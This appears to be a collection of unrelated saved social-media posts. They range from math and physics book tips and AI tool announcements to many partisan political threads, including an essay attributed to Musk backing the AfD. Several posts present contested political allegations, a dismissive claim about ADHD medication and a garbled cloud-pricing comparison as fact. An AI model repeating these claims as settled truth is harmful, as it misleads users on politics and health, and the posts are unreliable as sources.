I have previously made this statement and had people get confused by it. So let me try to clarify precisely what this means, using a neat analogy to real/complex analysis. (1/17) https://t.co/EMTfaZyyVl
o3-mini is really good at writing internal documentation - feed it a codebase, get back a detailed explanation of how specific aspects of it work https://t.co/F0DJ3aqHTj
Pavel Alexandroff, one of the founders of the Moscow school of topology, wrote this superb primer, available on the internet archive, (under 70 pages) on the elementary concepts of topology, a topic which is required for an understanding of modern mathematics and physics.
This is aimed at complete beginners, and would be a great text for a talented high school student, a self learner or someone who may not be yet be comfortable with the cold breeze of mathematical formalism.
Alexandroff is also a master at teaching abstractions, hence if you're an educator, there's a lot of value in reading this one.
Energy, momentum, pressure, stress, etc. are all just different ways of quantifying the same basic thing: how our perceptions of space and time get distorted over time.
And once you internalize this, it allows you to think about these concepts in a much more general way. (1/12) https://t.co/knLhokcXRU
Introducing open-Deep-Research by @huggingface ! 💥
Deep Research from @OpenAI is really good... But it's closed, as usual.
> So with a team of cracked colleagues, we set ourselves a 24hours deadline to replicate and open-source Deep Research!
➡️ We built open-Deep-Research, an entirely open agent that can: navigate the web autonomously, scroll and search through pages, download and manipulate files, run calculation on data...
We aimed for the best performance: are the agent's answers really rigorous?
On GAIA benchmark, Deep Research had 67% accuracy on the validation set.
➡️ open Deep Research is at 55% (powered by o1), but it is:
- the best pass@1 solution submitted
- the best open solution
And it's only getting started ! Please jump in, drop PRs, and let's bring it to the top 🚀
It's a pretty simple architecture, but o3 doesn't need much guardrails. Just give it the right tools, and let it follow its curiosity.
Repo here: https://t.co/rU6V1jhZZi
deepseek engineers are different 💀
to use deepseek's api, you “npm install openai” which is both genius and hilarious, saves so much work by mirroring their api and just swapping out the base url 😆
had to check out the docs to see this for myself, what a hack https://t.co/27qnSNg7be
China’s Quantum Computing: The Underestimated Disruptor 🧵🪡
—
While AI development remains the focal point of global technological competition, China’s quantum computing progress may prove to be the more consequential long-term disruptor. Unlike AI, which primarily enhances existing computational efficiency, quantum computing has the potential to upend entire industries by solving problems currently deemed intractable.
China’s Quantum Leap: Tianyan-504 and Zuchongzhi 3.0
In December 2024, few noticed China unveiled the Tianyan-504 quantum processor, a superconducting quantum chip with over 500 qubits, positioning it in direct competition with IBM’s most advanced offerings. More significantly, China’s Zuchongzhi 3.0 quantum computer has demonstrated superior performance to Google’s Sycamore processor, a milestone that has largely gone underreported in Western media. These breakthroughs suggest that China is not merely catching up in quantum technology—it is potentially surpassing Western efforts in key areas such as quantum error correction, scalability, and coherence time.
The Implications of a Quantum Breakthrough
If China achieves practical quantum supremacy ahead of the U.S., the consequences will be profound. Quantum computing, once viable at scale, could rapidly disrupt industries including:
1.Cryptography and Cybersecurity
– Current encryption methods, including RSA-2048, would be rendered obsolete by quantum algorithms such as Shor’s algorithm. This raises national security concerns, as China’s progress in quantum decryption could compromise Western financial systems, military communications, and state secrets.
https://t.co/ggz5PnZLTp Markets and High-Frequency Trading
– Quantum algorithms could provide unprecedented advantages in risk modeling, portfolio optimization, and high-frequency trading, shifting financial dominance toward those with quantum computing capabilities. A firm with access to quantum optimization could outpace competitors in arbitrage and pricing inefficiencies.
3.Pharmaceutical and Materials Science
– Quantum simulations will revolutionize drug discovery by modeling molecular interactions with unparalleled accuracy. China’s breakthroughs in quantum chemistry could enable domestic pharmaceutical firms to outcompete Western biotech giants.
4.AI-Quantum Synergy
– The convergence of AI and quantum computing could accelerate machine learning model training and inference at scales unimaginable with classical hardware. A China-led push in AI-quantum hybrid systems could redefine global leadership in computational intelligence.
The strategic implications of China’s progress in quantum computing extend beyond technological supremacy—they encompass national security, economic leverage, and geopolitical dominance. The U.S. has traditionally relied on its lead in semiconductor technology to maintain an economic and strategic advantage, but quantum computing presents a new frontier where China’s investments are proving formidable.
If China achieves a major quantum breakthrough before the U.S., the financial markets will face a seismic shift. Cryptographic vulnerabilities could lead to a revaluation of cybersecurity firms, AI training costs could plummet with quantum acceleration, and financial modeling strategies could be upended. Investors must remain vigilant to potential black swan events arising from these advancements, particularly as China continues to execute a highly coordinated, state-backed technological strategy.
While AI developments like DeepSeek’s R1 model have captured attention, the quantum computing race remains an underappreciated factor in global technological competition. China’s rapid progress in this field suggests that a major breakthrough—potentially occurring within the next few years—could have sweeping consequences for the world.
Jupyter notebooks suffer from a reproducibility crisis — just 4% of notebooks on GitHub reproduce.
That's why @Stanford researchers decided the world needed a new open-source Python notebook.
The result was @marimo_io. Learn more in our blog 👇 https://t.co/sP129Ivnkv
Hunyuan 3D 2.0 AI is now on Blender..
you can generate 3D models with texture using text prompt or single image directly on blender
open sourced and freeee
here's how it works: https://t.co/kDsUjZQxKl
burning out is real btw. when i was 18 i thought it was something for dummies who didn't wanna work. it took me ~3 years to recover fully, and could physically not work for 5months after it happened
This was an act of war.
Just like the Novchuk gas attack on a Russian defector in the UK.
I don't expect anything other than another "stiff diplomatic note" in reaction to this report.
Gabriel's Horn, also known as Torricelli's Trumpet, is a geometric figure that has the paradoxical property of having infinite surface area but finite volume. It is formed by revolving the curve y = ¹⁄ₓ around the x-axis from x = 1 to infinity. https://t.co/GaWTPKwlFa
people who are baffled by DeepSeek have been and still are sleeping on Qwen, InternLM, ByteDance and Tencent
here's couple of fan-favorite models from them 🪭
Introducing DeepClaude - A free and open-source API and chat interface that combines DeepSeek R1's CoT reasoning trace with Anthropic Claude models.
- Inference API: A high-performance API that streams R1's reasoning traces and Claude's response in a single call with zero latency, written in Rust. 🦀
- BYOK: The chat UI runs completely in your browser with your own API keys. 🔑
We have been benchmarking the R1 + Sonnet combo at @getAsterisk against other models and we ended up switching some of our agents to use this very implementation, so we open-sourced it. Enjoy!
deepclaude dot com
DeepSeek being open source/ open weights means that developers in the US can get access to DeepSeek R1 inference from American inference providers today at <$10 per 1M tokens or self host, fine tune, etc if they require. It's hugely beneficial for developers.
DeepSeek-R1 coder + OS OpenAI Operator Agent (browser-use)
prompt:
Go to https://huggingfacedotco/spaces/akhaliq/anychat click deepseek coder in dropdown, type write a script for a bouncing yellow ball within a sphere, make sure to handle collision detection properly. then click generate, confirm you see a sphere that is rotating, not just the code. After seeing sphere observe it for 15 seconds
I want to explain in down-to-earth terms what this paper is about, since it ultimately boils down to what I think are some really concrete and fundamental questions. 1/n https://t.co/wcbJ9vFOFD
“I’d rather improve you than give up on you”—The CEO of NVIDIA Jensen Huang he founded the company in 1993
Yes, over the 1000s I ever hired as we got into the INC 500 I only had to fire 12. https://t.co/xrJw9TjsLT
We just deployed Decentralized DeepSeek-R1. You can now call DeepSeek-R1 within your Solidity smart contracts or dapps.
- Decentralized inference on @Base
- Decentralized storage on Greenfield by @BNBCHAIN
- Model by @deepseek_ai
- API by @CryptoEternalAI
Code example below 👇
The open logic project has got more in store for you with this great publicly available release titled ''Sets, Logic, Computation'' which serves as an introduction to 'metalogic'.
Covers set theory, first order logic, Turing machines, undecidability and proofs
🔗🔽 https://t.co/ufM4Bp9N5Q
Here’s Elon’s father casually saying Elon’s maternal grandparents were in the Nazi party in Canada, supported Hitler, and moved to South Africa because they strongly admired the Apartheid regime. 🤷♂️ https://t.co/LjI57S7gne
The open logic project strikes again with this incredible book on incompleteness and computability, which might be my favorite introduction for beginners to some of the work of Godel and recursion (computability) theory.
If you already know first order logic, you're ready! https://t.co/oDP8bW74ld
Lugo's 2021 ''Differential Geometry in Physics'' is a wonderful little book which covers you from the basics of vectors, tensors and curves, to the basics of bundles, and it has been made publicly available by University of North Carolina
🔗🔽🔽 https://t.co/WBXuD2g3be
Is Greenland "owned" by Denmark? Is it "part of" Denmark. Or is it a separate country?
Trump does not know. But, surprisingly, neither do most people in Denmark and Greenland.
I made this video to set it straight. So here is the exact relationship between Denmark and Greenland and how it came about.
https://t.co/bDalB1GNak via @YouTube
Is the universe countably infinite or uncountably infinite?... I used to think language describes reality uniquely. However, Putnam showed that the Löwenheim-Skolem theorem says otherwise. Specifically, the concept of “infinity” has different meanings in different models. It's quite abstract but let me explain. (1/10)
How do photons mediate both attraction and repulsion?
#AskEthan
At a quantum level, forces are viewed as the exchange of bosons.
So how does the photon, just one particle, cause both attraction and repulsion in quantum electrodynamics?
https://t.co/qfs3AKqTP7
Geroch's lecture notes on general relativity is a great resource to complement a grad level textbook like Wald. Especially if you, like me, find Wald a little dry.
It gives brief but clear intros to the more advanced topics that are really good to get you started.
It is also freely available online (link below)
Formalized math: meet computational irreducibility. A simple (if surprising) theorem. An automated proof nobody seems able to understand. A tale of adventure in the wilds of metamathematical space...
https://t.co/rvD9QPtzOO https://t.co/sv4Up06AG4
Dachau concentration camp was opened only 51 days into Hitler's rule. If someone is sufficiently determined to destroy a democracy, things can get very bad very quickly.
As Russians are allowed to press further into Ukraine, massive in-ground rare earth mineral reserves are passing to Putin's war machine.
The west will regret this for decades.
How cheap and easy it was to prevent, by merely giving Ukrainians the weapons to defend it.. https://t.co/QNhkl08YxE
Serious question: How did Lex Fridman become popular? Why is his podcast so successful? He doesn’t seem like a smart or interesting guy at all—maybe I’m missing something? https://t.co/kp5vcsKB17
the elites don't want you to know this, but you can trivially pop out the crappy plastic wheels of your office chair and replace them with insanely smooth-rolling skate wheels
honestly probably the best < $20 home office upgrade there is https://t.co/vvjgidQ9sM
Palisade Research just caught OpenAI's O1 model doing something wild. While testing it at chess, it hacked the entire system instead of playing.
The most fascinating part? No one told it to. No one suggested it.
Let me explain 🧵
An advanced Nuclear Power rabbit hole! This is not your father's atom bashing.
For your reading pleasure I've now covered five of the six Generation IV nuclear reactors: Clean, safe, hot running high tech beasts, the first have started arriving.
Let's go through them… https://t.co/Gt93zwgEQg
I am rich and have no idea what to do with my life.
Where I talk about leaving Loom, giving up $60m, larping as Elon, breaking up with my girlfriend, insecurities, a brief stint at DOGE, and how I'm now in Hawaii self-studying physics.
https://t.co/cMgAsXq3St
I used to think the Crusades were Evil
Bloodthirsty Christians killing for religion
But learning beyond what I was taught in school made me rethink this entirely
Thread on why the Crusades were justified🧵 https://t.co/D1MSH1cpqk
Seabike attaches to the body with a belt and gives a complete freedom of movement. Not powered, you just need to pedal.
[🎞️ seabike]
https://t.co/FpkfsFUBDD
AI for drones part 3
State-of-the-Art in FOSS AI for drones recently got an upgrade, this is Waldo 3.0
Anyone can run this in their hobby drones 🤯
https://t.co/zDTQVyE3hZ
On January 1st, some of history's most valuable art just became free.
Hemingway.
Disney.
Hitchcock.
Even Popeye.
$100M+ worth of creativity is now yours to use.
Here's everything you can legally steal in 2025: 🧵 https://t.co/RQYU9Cn7Lq
This is the article in English that Elon submitted that was translated and published in German.
Only the AfD Can Save Germany
Germany stands at a critical juncture, its future teetering on the edge of economic and cultural collapse. As someone who has invested significantly in Germany's industrial and technological landscape, I believe I have earned the right to speak candidly about its political direction.
The Alternative for Germany (AfD) represents the last vestige of hope for this nation. Here's why:
Economic Revival:
Germany's economy, once the powerhouse of Europe, is now mired in bureaucracy and stifling regulations. The AfD understands that economic freedom is not just desirable but necessary. Their approach to reducing government overreach, cutting taxes, and deregulating the market echoes the principles that have made Tesla and SpaceX successful. If Germany is to reclaim its industrial might, it needs a party that will not just talk about growth but enact policies to foster an environment where businesses can thrive without the heavy hand of government.
Immigration and National Identity:
Germany has opened its borders to mass migration, which, while humanitarian in intent, has led to significant cultural and social tensions. The AfD advocates for a controlled immigration policy that prioritizes integration and the preservation of German culture and security. This is not about xenophobia but about ensuring that Germany does not lose its identity in the quest for globalism. A nation must maintain its core values and cultural heritage to remain strong and united.
Energy and Independence:
The energy policies pushed by current coalitions are not only economically costly but also geopolitically naive. Germany's decision to phase out nuclear power and rely heavily on coal and imported gas, plus highly variable wind and solar without the necessary grid-scale batteries to provide stability, has left it vulnerable, especially in light of energy supply disruptions. The AfD's stance on energy is pragmatic, advocating for a balanced approach. I hope they consider doubling down on safe nuclear power, together with battery energy storage to buffer large swings in electricity usage, as that is the obvious solution.
Political Realism:
The traditional parties have failed Germany. Their policies have led to economic stagnation, social unrest, and a dilution of national identity. The AfD, despite being labeled far-right, offers a political realism that resonates with many Germans who feel their concerns are ignored by the establishment. They address the issues at hand without the political correctness that often masks the truth.
The description of AfD as far-right is made obviously false simply by noting that Alice Weidel, the party leader has a same-sex partner from Sri Lanka! Does that sound like Hitler to you? Please.
Innovation and the Future:
I've built companies on the principle that innovation requires freedom from unnecessary constraints. The AfD's vision aligns with this ethos. They push for educational reforms that encourage critical thinking over indoctrination and support tech industries which are the future of global economic leadership.
To those who decry the AfD as extremist, I say, look beyond the labels. Look at the policies, the economic plans, and the cultural preservation efforts. Germany needs a party that isn't afraid to challenge the status quo, that isn't bogged down by the politics of the past.
The AfD can save Germany from becoming a shadow of its former self. It can steer the country towards a future where economic prosperity, cultural integrity, and technological innovation are not just aspirations but realities. Germany has been too comfortable with mediocrity; it's time for bold changes, and the AfD is the only party offering that path.
Elon Musk
Did you know?
There is a “gravity hole” in the Indian Ocean — a spot where Earth’s gravitational pull is weaker, its mass is lower than normal, and the sea level dips by over 328 feet (100 meters).
It is centered about 1,200 km (750 mi) southwest of Kanyakumari (a.k.a. Cape Comorin), the southernmost tip of the Indian subcontinent. The circular depression in the ocean has an area of about 3 million sq km (1.2 million sq mi), which is almost the size of India itself.
I'm often described (due to my work on computable physics) as being an advocate for the Simulation Hypothesis.
But I'm not.
In fact, I think the Hypothesis is nonsensical, and that the most famous argument in its favor actually proves the opposite of what it purports. (1/10) https://t.co/MzKfqC3ad8
@PhysInHistory Von Neumann-Bernays-Gödel set theory (NBG) introduces the notion of class as a collection of sets, so as to avoid the paradoxes of naive set theory (e.g. Cantor’s Paradox). https://t.co/jihblJieuE
"In science it often happens that scientists say, 'You know that's a really good argument; my position is mistaken,' and then they would actually change their minds and you never hear that old view from them again. They really do it. It doesn't happen as often as it should, because scientists are human and change is sometimes painful. But it happens every day. I cannot recall the last time something like that happened in politics or religion."
-Carl Sagan
Consumer AI robot is here
Unitree B2-W is READY to ship!
- Price: $150,000
- Speed: 20 km/h
- Endurance: 50 km with a 40 kg load
- Power: Can pull up to 100 kg
This is a revolution. The future is NOW.
https://t.co/MBS3g405NG
If you’re a psychology fan, you’ve almost certainly seen this viral video on inequity aversion in capuchin monkeys. Watch what happens - or seems to happen - when two monkeys are offered unequal pay for the same task…
[Thread.] https://t.co/no8ZU7NMBW
Bitcoin has totally lost its way. The purpose of Bitcoin "A Peer-to-Peer Electronic Cash System" as Satoshi Nakamoto designed it was for a stateless, decentralized, permissionless payment mechanism that was capable of scaling to VISA-level transactions that were cheap enough to support both sub-cent micro-payments as well as large payments. This is the true value proposition as widespread adoption of payments through this system would literally free people from both the banking system and some degree of government coercion while it's fixed scarcity would also limit the #inflationary monetary malfeasance common with central banks. Nowhere in the Bitcoin whitepaper is it mentioned that Bitcoin was intended to be HODLed by a very few in order to drive the price up so that then, financial con-artists like @saylor could bamboozal the world through reckless financial engineering. Nowhere in the whitepaper was it mentioned that it would be really great for Bitcoin to "go to the moon" after retail investors used @BlackRock ETFs to access only the price of Bitcoin without any possibility of custody of their own Satts. Nowhere in the whitepaper is it mentioned that there was no real way for it to scale (because of artificial block size limits) and therefore in order for Bitcoin to actually empower transactions for all, we would need some diminutive technology ignorant anarcho-gobblin like @jackmallers to come along and create a new layer that somehow, magically would make good on the promise of global cheap transactions at scale. All we are seeing today is a massive speculative orgy with almost no real adoption and certainly no hope for the true vision of Satoshi Nakamoto.
Hvis der er én ting, du skal se i dag.
Så er det denne her.
Og bagefter kan jeg anbefale at læse om Sednaya. Søg på Sednaya herinde. Google det. Det er hård kost. Men det er nødvendigt for at forstå den komplet vanvittige grusomhed der herskede i Assads regime.
The Romanian (European) Dilemma
On December 6th the Constitutional Court of Romania annulled the results of the first round of the elections after it became public that one of the candidates - Călin Georgescu - won with the help of a massive Tik-Tok campaign.
[Thread] 🧵 ⏬ https://t.co/f31kbsDM7f
NATO expansion is a myth. It is a Russian lie. Here is the map.
After World War II the Russians militarily occupied half the European continent. The Russians picked their leaders. They wrote their laws. They brutalized their people and took whatever they wanted.
When the Soviet Union collapsed, all of these peoples who had suffered immensely under the Russians were desperate to get real security and protection from the Russians.
Russia is the ONLY cause of NATO enlargement because the people of Eastern Europe always knew they were going to be invaded again as soon as the Russians succeeded at some form of economic capitalism.
Russia is the only cause of this war.
UNRWA's Defense: “It was only 19 of our aid workers who committed mass murder.”
Also:
• “It was only 1 of our UNRWA Gaza Headquarters that powered the Hamas terror tunnel computer server.”
• “It was only 1 of our ex-officials who fundraised for UNRWA by writing: ‘America is subjugated by the Jewish Lobby.’”
• “It was only 1 of our Commissioner-Generals who met with Hamas and Islamic Jihad terror chiefs and told them ‘We are united, no one can separate.’”
• “It was only 2 of our UNRWA Teachers Union Chairs who were Hamas terror chiefs in Gaza and Lebanon.”
• “It was only 47 times that we failed to answer UN Watch letters, warnings, and requests to meet about UNRWA staff complicity with terrorism.”
• “It was only 100 of our UNRWA employees on the list of Hamas terrorists sent to us in July, including Mohammad Abu Itiwi who took part in the October 7th massacre, about all of whom we did nothing, because we don't have the capacity to verify.”
• “It was only 2,000 of our UNRWA teachers in Lebanon who rallied for a Hamas terror chief.”
• “It was only 3,000 of our UNRWA staffers who celebrated the massacre on the Telegram chat group.”
• “It was only 8,000 of our UNRWA teachers in Gaza who rallied for Hamas terror chief and UNRWA official Suhail al-Hindi.”
• “It was only 13,000 of our humanitarian aid workers in Gaza who failed to lift a finger to save the Israeli hostages kidnapped on Oct. 7th and still being tortured in Gaza.”
(Receipts, proof, screenshots, timeline, everything: https://t.co/CI89GHpOF0)
If Obama hadn't shut down the Mountain Pass mine back in 2012 and had actually gotten serious about domestic production of rare earth, this wouldn't be an issue.
Rusland bruger hver dag milliarder af kroner på at myrde mennesker i et naboland. Samtidigt har store dele af deres befolkning ikke adgang til noget så simpelt som ... et toilet. Se selv, direkte fra Glykolets egen flaske: https://t.co/01XbxbbJ1i
The inability of Western intelligence, particularly that of the United States, to trust Ukrainian MoD published Russian casualty numbers has been it's major institutional failing of the Russo-Ukrainian War.⬇️
( 🧵) If you’re upset about President Biden pardoning his son today, here’s a list of Trump pardons you ponder instead 👇👇
Albert J. Pirro, Jr.: With less than an hour to go before Biden is sworn in, Trump granted a full pardon to Albert J. Pirro, Jr. Pirro, Jr., the ex-husband of Fox News host and Trump ally Jeanine Pirro, was convicted on conspiracy and tax evasion charges in 2000.
❗️ Russia had been preparing for a new genocide of Ukrainians long before the full-scale invasion, – Budanov during the forum “Genocidal Practices of Russia in Ukraine: From the Holodomor to the Russo-Ukrainian War.”
❌ Prior to the full-scale invasion, Russia’s preparation for genocide against the Ukrainian people included creating execution lists, mobile crematoriums, and plans for mass burials.
Yes, because sharks and fish branched off before fish diversified into whales. So all mammals, reptiles, birds, and other fish and more closely related to each other than any of us are to sharks. We're the equivalent of siblings and sharks are our cousins. https://t.co/EexP4ecFeK
Your brain has been fooling you your entire life.
This Nobel Prize winner spent 40 years proving it.
Here are the 10 mental traps controlling every decision you make: 🧵 https://t.co/KSAbGpzdxO
Unable to respond to permission to fire long-range Western missiles at Russian territory, Russia has resorted to attacks on civilians and infrastructure in Ukraine and hybrid tactics. There is no doubt that Russia is behind the damage to the Finland/Germany and
1/13 https://t.co/Df9D9uzYMr
I co-founded a startup as CTO,
had Lego, McKinsey, and Macy as customers,
entered the best b2b accel in the world,
moved to SF...
But one event turned my 15% stake into 0.15% 🥴: https://t.co/UNvcEEfryo
In 1972, Steve Jobs walked in on his girlfriend sleeping with a guy.
Steve became friends with him.
He taught him a philosophy that allowed him to convince anybody of anything. It's why they both became billionaires.
Here’s the philosophy: 🧵 https://t.co/KQQsQ7fKA9
9-9...“normalization.” That’s when your country is basically taken over, living under a new ideology and reality."
My list of worries right now is quite overwhelming.
https://t.co/wUMDvqVLmR
1/ X's algorithm was changed in mid-July 2024 to systematically boost Republican-leaning accounts and Elon Musk's own account following his endorsement of Donald Trump, according to a newly released computational study of engagement from the Queensland University of Technology.⬇️ https://t.co/T2gKUY0Gb0
I've read Chris Voss's "Never Split the Difference" 4 times & whenever he comes up on Youtube I always lean in.
Not because I'm obsessed with hostage negotiation.
But because his FBI tactics transformed how I handle product management:
(warning: this will ruin how you see stakeholder management forever) 🧵
This gives me no pleasure, but given Elon Musk's history, claims, and behaviors, I can't let Richard's "welfare of the world at heart" line pass without comment.
While watching Elon's rise to greater power (and the fawning of his fans), I started keeping notes. Thread (1)
22. That's it.
My projects (AI is my co-founder 😃 )
↳ https://t.co/HHrirMWCWQ
↳ https://t.co/Tjcu3Jqgb8
↳ https://t.co/P4woImcgEH
↳ https://t.co/B3YTifeZFa
↳ https://t.co/DROp2iH4Uj
↳ https://t.co/XmmPQXyCWQ
↳ https://t.co/xuRNdoFl0d
↳ https://t.co/dUmfing85m
↳ https://t.co/mLckobdXyi
↳ https://t.co/5kcymaauTy
More about me: https://t.co/1ML5MmAQ7X
My newsletter: https://t.co/PK5Be1oW6J
How to build web directories: https://t.co/LnFUYZnEDS
Check out M3DocRAG -- multimodal RAG for question answering on Multi-Modal & Multi-Page & Multi-Documents (+ a new open-domain benchmark + strong results on 3 benchmarks)!
⚡️Key Highlights:
➡️ M3DocRAG flexibly accommodates various settings:
- closed & open-domain document contexts (from a single-page doc to a corpus of many long docs)
- single & multi-hop questions
- diverse elements (text, table, image, etc.)
➡️ M3DocVQA is a new open-domain DocVQA benchmark where models should answer multi-hop questions (across multiple pages and documents) 3K+ PDFs (w/ 40K+ pages)
➡️ Strong results on 3 benchmarks (M3DocVQA/MMLongBench-Doc/MP-DocVQA), including SoTA results on MP-DocVQA
🧵👇
"Document (PDF) extraction and parse API using state of the art modern OCRs + Ollama supported models. Anonymize documents. Remove PII. Convert any document or picture to structured JSON or Markdown" https://t.co/awy4OxZ17d
Commutative algebra, is one of the most important subject in all of mathematics, it connects to many of the most important subject in algebra, such as Galois theory, algebraic geometry, arithmetic geometry ect.
Thankfully, James Milne's got a great primer, link in comments. https://t.co/dHyY8scR3r
Since people seem to have missed this one, unsealed in the Smith filing:
-Trump used a burner phone, routed through a foreign country to contact Michigan house speaker.
-He tried to pressure the speaker in this off book call.
-Speaker McCarthy knew about the burner phone line.
-The phone showed up as “Spam Risk Egypt” on caller ID.
If the President thought his attempt to overturn the election and forge elector documents were legitimate “official acts” why was he using an insecure, foreign routed burner phone for these calls?
How many other sensitive calls did the former President have on this unencrypted line with coconspirators, that could now be used as blackmail against him, by any foreign nation which may have tapped that line?
(And before the reply bots get here, let me remind them: Trump’s own legal team did not dispute the authenticity of *anything* unsealed from the Smith filing)
$10,000 per person on healthcare—that's what the US spends—according to a graph Trump shared on Joe Rogan's podcast.
Far more than Europe, yet Americans are sicker and die younger.
The reason for this?
After some digging, I found EXACTLY what’s going on: 🧵 https://t.co/BCHuGwvMII
🚀Introducing Pro-Grade 3D Models
Polycam is partnering with Transform Engine to generate professional-grade CAD, BIM, and Xactimate Sketch files directly from your Polycam LiDAR captures. 🌎 https://t.co/9qI0Y6CPUI
The Heritage Foundation doesn't just write policy: They commit fraud and manufacture evidence used by Republicans in Congress, in courts, briefs to SCOTUS, and by right-wing media. The scam is sloppy, and they often leave their names on it.👇
(This hasn't been reported on.)
/🧵
(📢) MAJOR BREAKING NEWS: Whistleblower Reveals That Then-President Trump, Giuliani, Stone, Bannon, and Foreign Nationals Created An Illegal Domestic Spying Program Targeting Democratic Officials; Program Worked to “Generate and Disseminate” Disinformation
https://t.co/MTJsH05dX5
🧵THREAD: This is Brian @Krassenstein. He keeps accusing Donald Trump of being a fraud, rapist, and liar, while he’s got way more skeletons in his own closet.
This is straight-up projection, and in this thread, I’ll be dropping some receipts.
Please share and enjoy the ride! ⬇️ https://t.co/EQcyD6hfsm
ADHD is not a disorder.
It’s a difference in cognition.
You need to harness it, not sedate with pills. Once you do, it will make you hyper-focus.
Here’s what you can do to turn ADHD into a superpower: 🧵 https://t.co/yuwfj7gYBr
2¹³⁶²⁷⁹⁸⁴¹−1, discovered today, is the largest known prime. It's a Mersenne prime (2ᵖ-1), which are easier to find.
It took nearly 6 years for the GIMPS software to find it after the previous largest known prime. It was also the first Mersenne prime found using GPUs. https://t.co/loFRBp0yvb
Dear Black Men Supporting Trump,
I'd like to introduce you to this man, Lee Atwater. Now, you may not know who Lee Atwater is, but he's had a profound impact on your life over the past 50ish years. You see, he's the architect of a thing called the Southern Strategy... https://t.co/XoNoDriBxS
Jeg har lavet et interview med en tidligere dansk FN-soldat der bla. var udsendt til Syd Libanon. Han taler for første gang i sin 25 årige karriere om hvad han har set og oplevet. Vi har kun haft plads til en brøkdel i denne artikel:
»Vi var totalt underlagt Hizbollah. Vi havde klart begrænset bevægelsesfrihed. Vi opererede for eksempel aldrig efter mørkets frembrud af frygt for Hizbollah. Så de havde frit lejde i aften- og nattetimerne,« fortæller Michael, der understreger, at han udtaler sig som privatperson og ikke på vegne af det danske militær.
Og når Michael og hans kollegaer fra enten UNTSO eller UNIFIL kørte rundt i de forskellige byer, blev de ofte stoppet af formodede Hizbollah-medlemmer, når de forsøgte at komme ind i de områder, hvor de mente, terrorgruppen kunne operere.
»De blokerede simpelthen vejen. De var ikke synligt bevæbnede, men aggressive, og det var helt tydeligt, at de var medlemmer af Hizbollah – vi vidste jo godt, hvem der bestemte tingene, især i de shiamuslimske byer. De ville ikke have, at vi så, hvad de lavede,« siger Michael.
»Når vi patruljerede på Blue Line så vi ofte ’civile’ helt tæt på de israelske militære installationer, der tog billeder. Når det skete, trak vi os og observerede på afstand – det var vi simpelthen instrueret i,« tilføjer han, og refererer til den »blå linje«, der afgrænser Israel og Libanon.
Det var heller ikke tilladt for Michael og hans kollegaer at dokumentere, hvad der foregik i andre dele af byerne.
»Det var forbudt at filme og tage billeder. Og hvis vi gjorde, kunne vi ende med, at de lokale beslaglagde vores kameraer. Det skete for mine kollegaer i UNIFIL og UNTSO.«
Hizbollahs kontrol med Sydlibanon var allerede massiv dengang, fortæller Michael.
»De civile, der ikke brød sig om Hizbollah, især de kristne, var bange for at sige dem imod. Der var en udbredt frygt for dem. Men vi oplevede samtidig samarbejde med shiamuslimerne. Vi havde for eksempel en række tolke, der var fedtet ind i Hizbollah. Jeg endte med at smide en af dem ud af min bil, en gang hvor han sad og lovpriste Hassan Nasrallah. Jeg gad simpelthen ikke høre på det,« fortæller Michael.
(🧵) THREAD: Donald Trump is clearly fading mentally and physically. His running mate was handpicked by a Kremlin-agent white supremacist (Tucker Carlson) and two creepy far-right billionaire techno-authoritarians (Peter Thiel and Elon Musk).
This is not the election you think.
1/11
So the first 3 volumes of Smith's evidence against Trump are released. About 70% still sealed, but, pretty damning stuff, which is all either their own messages, or testimony from Republican staff under oath:
Hetzner is offering an S3-compatible object store (currently Beta), and the pricing is insane compared to AWS.
Storage: 4X cheaper — $4.9/TB-mo vs $21/TB-mo
Traffic: 50X cheaper — $51/TB vs $1/TB
And no request fees. AWS charges $0.4-$5/M requests.
https://t.co/A8HgmL9GLe
In #ChinaLeaks (C.H. Beck, 2024) investigative journalist Markus Frenzel uncovers Beijing's secret influence network in Germany. A must-read for those concerned about Western elites' complacency towards the Chinese Communist Party's illegal interference in liberal democracies /1 https://t.co/PYdoZDY00D
On-device AI framework ecosystem is blooming these days:
1. llama.cpp - All things Whisper, LLMs & VLMs - run across Metal, CUDA and other backends (AMD/ NPU etc)
https://t.co/4hJeFOtx7c
2. MLC - Deploy LLMs across platforms especially WebGPU (fastest WebGPU LLM implementation out there)
https://t.co/ITkUU46CtK
3. MLX - Arguably the fastest general purpose framework (Mac only) - Supports all major Image Generation (Flux, SDXL, etc), Transcription (Whisper), LLMs
https://t.co/5qn4gEWpoB
4. Candle - Cross-platform general purpose framework written in Rust - wide coverage across model categories
https://t.co/SJUlZ5UDnj
Honorable mentions:
1. Transformers.js - Javascript (WebGPU) implementation built on top of ONNXruntimeweb
https://t.co/IE0EqoEbGX
2. Mistral rs - Rust implementation for LLMs & VLMs, built on top of Candle
https://t.co/4QSivT0dxm
3. Ratchet - Cross platform, rust based WebGPU framework built for battle-tested deployments
https://t.co/LXhWSJv3SP
4. Zml - Cross platform, Zig based ML framework
https://t.co/mysIAnVgli
Looking forward to how the ecosystem would look 1 year from now - Quite bullish on the top 4 atm - but open source ecosystem changes quite a bit! 🤗
Also, which frameworks did I miss?
🧵I also read through the second half of Jack Smith’s filing on Trump’s private criminal efforts to stay in power despite knowing he’d lost the election: the Legal Framework and Not Immune sections (pages 85-164, sec II and III).
Collectively, these sections should also be known as: Let’s Not Let Presidents Crime.
13 things jumped out to me.
UNRWA was meant to operate for only two years, providing assistance to 199,000 Arab refugees in the Gaza Strip from the War of Independence and about 500,000 additional individuals registered as war refugees.
——
A thread 🧵 https://t.co/ikeoSn6I6l
This film lasts only 4 minutes and it won an Oscar ...
Intense, but it conveys tremendous reality, empathy and putting ourselves in other people's shoes ...
Knowing how to recognize your mistakes and knowing that others also have their problems and empathizing is precious ... https://t.co/OXo3wbsyAK
🧵I’ve read through the evidence section—the first 85 pages—of Jack Smith filing on Trump’s private criminal efforts to stay in power despite knowing that he’d lost the election.
The evidence is stunning. It’s clear why Trump did not want the public to see this testimony.
13 things jumped out to me on Trump’s attempt to defraud the American people and steal the 2020 election.
Whisper Turbo already runs locally on macOS with mlx_whisper.
Transcribes 12 minutes in 14 seconds on an M2 Ultra (~50X faster than real time).
pip install mlx_whisper
Example: https://t.co/w7d0N8AeVx
Run OpenAI's new Whisper Turbo model 100% locally in your browser with Transformers.js! ⚡️
Transcribe 2 minutes of audio in ~12 seconds! 🤯
Demo + source code 👇 https://t.co/Xj0sxwWeCX
“Stem cells reverse woman’s diabetes — a world first. A 25-year-old woman with type 1 diabetes started producing her own insulin less than three months after receiving a transplant of reprogrammed stem cells.” https://t.co/17iACYNEdH https://t.co/YF6X7lp9wb
NEW🧵 Russian Spy Ships Project - Espionage at Sea
